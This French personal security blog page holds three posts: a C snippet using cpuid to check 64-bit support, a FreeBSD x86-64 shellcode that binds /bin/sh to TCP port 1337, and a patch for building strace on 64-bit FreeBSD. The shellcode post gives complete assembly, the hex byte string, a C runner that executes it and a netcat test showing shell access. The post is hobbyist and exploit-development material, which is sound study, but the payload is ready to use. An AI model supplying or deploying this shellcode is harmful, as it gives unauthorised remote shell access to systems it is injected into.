26/07/2011

cpuid is your friend

Introduction

A un moment donné faut se tenir à jour, j'entends par là utiliser des OS peut être pas de qualité, mais qui sont au goût du jour (Seven 64bits), histoire de pouvoir jouer avec des rookits par exemple, seul hic :
"Merde mon proc il supporte le 64 bits ?"
C'est aprè avoir vu un joli failed (à se demander si les mecs qui codent des FakeAV allument leur cerveau quand ils codent ), que cpuid est la réponse à ma question.

Code

Je poste un bout de code qui pourra peut être servir à d'autre qu'à moi, même si des outils le font très bien.
Mais on aime souvent réinventer la roue :

#include <stdio.h>

int main(void)
{
  unsigned int code = 0x80000001;
  unsigned int a, b, c, d;

  __asm__ volatile ("cpuid" : "=a"(a), "=b"(b), "=c"(c), "=d"(d) : "a"(code));
  if (d & (1 << 29))
    printf("64 bit available\n");
  else
    printf("64 bit not available\n");
  return (0);
}

Code simpliste juste pour checker si le long mode est disponible ou non sur le processeur.

29/08/2010

Bind sh on freebsd 64 bits

J'ai souhaité écrire un shellcode qui bind un shell sur le port 1337, le tout sur FreeBSD architecture 64 Bits : Qui sait ça servira peut être à quelqu'un. Pour ma part si je l'ai écrit c'etait pour le fun et qu'il était introuvable à travers le net (tout du moins sur les sites Exploit-db ou encore Shell-Storm).

Avant de se lancer dans le code récupérons les informations nécessaire à son écriture :

% cat /usr/src/sys/kern/syscalls.master | grep 'socket\|bind\|listen\|accept\|dup2\|execve'
30      AUE_ACCEPT      STD     { int accept(int s, \
59      AUE_EXECVE      STD     { int execve(char *fname, char **argv, \
90      AUE_DUP2        STD     { int dup2(u_int from, u_int to); }
97      AUE_SOCKET      STD     { int socket(int domain, int type, \
104     AUE_BIND        STD     { int bind(int s, caddr_t name, \
106     AUE_LISTEN      STD     { int listen(int s, int backlog); }

Code :

# socket(AF_INET, SOCK_STREAM,IPPROTO_TCP)
push $0x61
pop %rax
push $0x6	
pop %rdx
push $0x2
pop %rdi
push $0x1
pop %rsi
syscall

# bind(socket, server, sizeof(server))
mov %rax,%rdi
push $0x68
pop %rax
push $0x39050102
mov %rsp,%rsi
push $0x10
pop %rdx
syscall

# listen(socket, 1)
push $0x1
pop %rsi
push $0x6A
pop %rax
syscall

# accept(socket, 0, 0)
xor %rsi, %rsi
xor %rdx, %rdx
push $0x1e
pop %rax
syscall

# dup2 stdin
# dup2 stdout
# dup2 stderr
mov %rax,%rdi
push $0x5a
pop %rax
push $0x2
pop %rsi
syscall
dec %rsi
push $0x5a
pop %rax
syscall
dec %rsi
push $0x5a
pop %rax
syscall

# execve("/bin/sh", ["/bin/sh"], NULL
push $0x3b 	    
pop %rax
cltd
mov $0x68732f2f6e69622f,%rbx
push %rdx
push %rbx
push %rsp	
pop %rdi
push %rdx
push %rdi
push %rsp	
pop %rsi
syscall

Pour le compiler :

as -o bind_sh.o bind_sh.s
ld -o bind_sh bind_sh.o

Le shellcode en lui même :

int
main()
{
  const char *shcode =  "\x6a\x61\x58\x6a"
    "\x06\x5a\x6a\x02\x5f\x6a\x01\x5e\x0f"
    "\x05\x48\x89\xc7\x6a\x68\x58\x68\x02"
    "\x01\x05\x39\x48\x89\xe6\x6a\x10\x5a"
    "\x0f\x05\x6a\x01\x5e\x6a\x6a\x58\x0f"
    "\x05\x48\x31\xf6\x48\x31\xd2\x6a\x1e"
    "\x58\x0f\x05\x48\x89\xc7\x6a\x5a\x58"
    "\x6a\x02\x5e\x0f\x05\x48\xff\xce\x6a"
    "\x5a\x58\x0f\x05\x48\xff\xce\x6a\x5a"
    "\x58\x0f\x05\x6a\x3b\x58\x99\x48\xbb"
    "\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x52"
    "\x53\x54\x5f\x52\x57\x54\x5e\x0f\x05";

  printf("Size = %d\n",strlen(shcode));
  (*(void (*)()) shcode)();
}

Test :

% gcc bind_sh.c -o bind_sh
% ./bind_sh
Size = 103

Dans un autre terminal :

% sockstat -4 | grep bind_sh
w4kfu    bind_sh    12151 3  tcp4   *:1337                *:*
% nc localhost 1337
ls
bind_sh
bind_sh.o
bind_sh.s
bind_sh.c

15/08/2010

Un patch strace 64 bits pour FreeBSD

La plupart du temps les challenges en rapport avec la sécurité informatique sont destinés aux systémes d'exploitation GNU/Linux.

Des crackme pour FreeBSD, à part si on se les fait soit même ça n'existe pas. On peut bien sur virtualiser à l'aide de qemu, virtualbox mais il faut l'avouer c'est coûteux.

Mais sous FreeBSD, nous avons linuxulator une couche d'émulation permettant de faire tourner des applis Linuxienne sous notre os à la boule rouge.

On charge le module :

#kldload linux

C'est bien gentil de pouvoir éxécuter, mais on aimerait pouvoir surveiller les différents syscalls de notre application.

Sous FreeBSD, nous avons l'excellent outil truss, ainsi que Dtrace mais lorsque je traçais des binaires, je n'aimais pas l'affichage :

linux_brk(0x0,0x28069fd0,0x8048440,0xafe9fbff,0xbfbfffac,0x6) = 134520832 (0x804a000)
linux_newuname(0xbfbfe4e2,0x2806a284,0x28069fd0,0x2806a648,0x2806a648,0x6) = 0 (0x0)

Le linux à chaque début de ligne me déplaisait, c'est alors que je sors strace mais là c'est le drame strace n'est compatible que pour archi i386.

J'ai donc décidé de me lancer dans l'ecriture d'un patch non-officiel.

Premièrement placez vous dans /usr/ports/devel/strace et commentez dans le fichier Makefile la ligne suivante :

ONLY_FOR_ARCHS= i386

On lance la commande make, histoire que ca fetch comme il faut les fichiers dont on a besoin, mais une fois le processus de configuration lancé ça foire. C'est là que le semblant de patch que j'ai écrit rentre en jeux :

# cd /usr/ports/devel/strace/work
# fetch http://blog.w4kfu.com/public/strace_64bits.patch
# patch -p0 < strace_64bits.patch

Il ne vous restera qu'à relancer un configure puis de make.

# cd strace-4.5.18
# ./configure
# make

Attention ce patch n'a été testé que avec strace version 4.5.18 ! et il n'est surement pas fonctionnel à 100%.

Pages : 1